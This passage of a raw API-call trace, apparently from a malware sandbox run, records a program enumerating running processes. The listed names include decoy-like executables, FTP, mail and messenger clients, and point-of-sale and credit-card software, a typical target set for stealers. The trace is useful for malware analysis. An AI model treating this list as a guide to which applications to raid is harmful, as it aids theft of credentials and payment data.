th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.083] lstrlenW (lpString="audiodg.exe") returned 11 [0147.083] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0147.084] lstrlenW (lpString="sihost.exe") returned 10 [0147.084] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.084] lstrlenW (lpString="svchost.exe") returned 11 [0147.084] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.084] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.084] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.085] lstrlenW (lpString="explorer.exe") returned 12 [0147.085] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0147.085] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0147.085] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0147.086] lstrlenW (lpString="Memory Compression") returned 18 [0147.086] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0147.086] lstrlenW (lpString="SearchUI.exe") returned 12 [0147.086] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0147.087] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0147.087] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0147.087] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0147.087] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0147.087] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0147.087] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0147.088] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0147.088] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0147.088] lstrlenW (lpString="migration dying locations.exe") returned 29 [0147.088] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0147.089] lstrlenW (lpString="college-advance.exe") returned 19 [0147.089] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0147.089] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0147.089] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0147.089] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0147.090] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0147.090] lstrlenW (lpString="metallic.exe") returned 12 [0147.090] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0147.090] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0147.090] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0147.091] lstrlenW (lpString="brown parade bases.exe") returned 22 [0147.091] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0147.091] lstrlenW (lpString="specified wales.exe") returned 19 [0147.091] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0147.092] lstrlenW (lpString="inspiration.exe") returned 15 [0147.092] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0147.092] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0147.092] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0147.092] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0147.092] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0147.093] lstrlenW (lpString="classbuck.exe") returned 13 [0147.093] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0147.093] lstrlenW (lpString="x-deutschland.exe") returned 17 [0147.093] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0147.094] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0147.094] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0147.094] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0147.094] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0147.095] lstrlenW (lpString="lawsuit.exe") returned 11 [0147.095] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0147.095] lstrlenW (lpString="3dftp.exe") returned 9 [0147.095] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0147.095] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0147.095] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0147.096] lstrlenW (lpString="alftp.exe") returned 9 [0147.096] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0147.096] lstrlenW (lpString="barca.exe") returned 9 [0147.096] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0147.097] lstrlenW (lpString="bitkinex.exe") returned 12 [0147.097] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0147.097] lstrlenW (lpString="coreftp.exe") returned 11 [0147.097] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0147.098] lstrlenW (lpString="far.exe") returned 7 [0147.098] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0147.099] lstrlenW (lpString="filezilla.exe") returned 13 [0147.099] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0147.099] lstrlenW (lpString="flashfxp.exe") returned 12 [0147.099] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0147.100] lstrlenW (lpString="fling.exe") returned 9 [0147.100] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0147.101] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0147.101] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0147.101] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0147.101] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0147.103] lstrlenW (lpString="icq.exe") returned 7 [0147.103] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0147.104] lstrlenW (lpString="leechftp.exe") returned 12 [0147.104] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0147.104] lstrlenW (lpString="ncftp.exe") returned 9 [0147.104] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0147.105] lstrlenW (lpString="notepad.exe") returned 11 [0147.105] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0147.106] lstrlenW (lpString="operamail.exe") returned 13 [0147.106] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0147.106] lstrlenW (lpString="pidgin.exe") returned 10 [0147.106] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0147.107] lstrlenW (lpString="scriptftp.exe") returned 13 [0147.107] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0147.108] lstrlenW (lpString="skype.exe") returned 9 [0147.108] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0147.108] lstrlenW (lpString="smartftp.exe") returned 12 [0147.108] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0147.109] lstrlenW (lpString="thunderbird.exe") returned 15 [0147.109] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0147.110] lstrlenW (lpString="totalcmd.exe") returned 12 [0147.110] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0147.110] lstrlenW (lpString="trillian.exe") returned 12 [0147.110] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0147.111] lstrlenW (lpString="webdrive.exe") returned 12 [0147.111] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0147.112] lstrlenW (lpString="whatsapp.exe") returned 12 [0147.112] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0147.112] lstrlenW (lpString="winscp.exe") returned 10 [0147.112] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0147.113] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0147.113] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0147.113] lstrlenW (lpString="active-charge.exe") returned 17 [0147.114] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0147.114] lstrlenW (lpString="accupos.exe") returned 11 [0147.114] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0147.115] lstrlenW (lpString="afr38.exe") returned 9 [0147.115] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0147.115] lstrlenW (lpString="aldelo.exe") returned 10 [0147.115] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0147.116] lstrlenW (lpString="ccv_server.exe") returned 14 [0147.116] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0147.117] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0147.117] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0147.117] lstrlenW (lpString="creditservice.exe") returned 17 [0147.117] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0147.376] lstrlenW (lpString="edcsvr.exe") returned 10 [0147.376] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0147.377] lstrlenW (lpString="fpos.exe") returned 8 [0147.377] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0147.377] lstrlenW (lpString="isspos.exe") returned 10 [0147.377] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0147.378] lstrlenW (lpString="mxslipstream.exe") returned 16 [0147.378] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0147.378] lstrlenW (lpString="omnipos.exe") returned 11 [0147.379] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0147.379] lstrlenW (lpString="spcwin.exe") returned 10 [0147.379] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0147.380] lstrlenW (lpString="spgagentservice.exe") returned 19 [0147.380] Process32NextW (in: hSnapshot=0x27c, 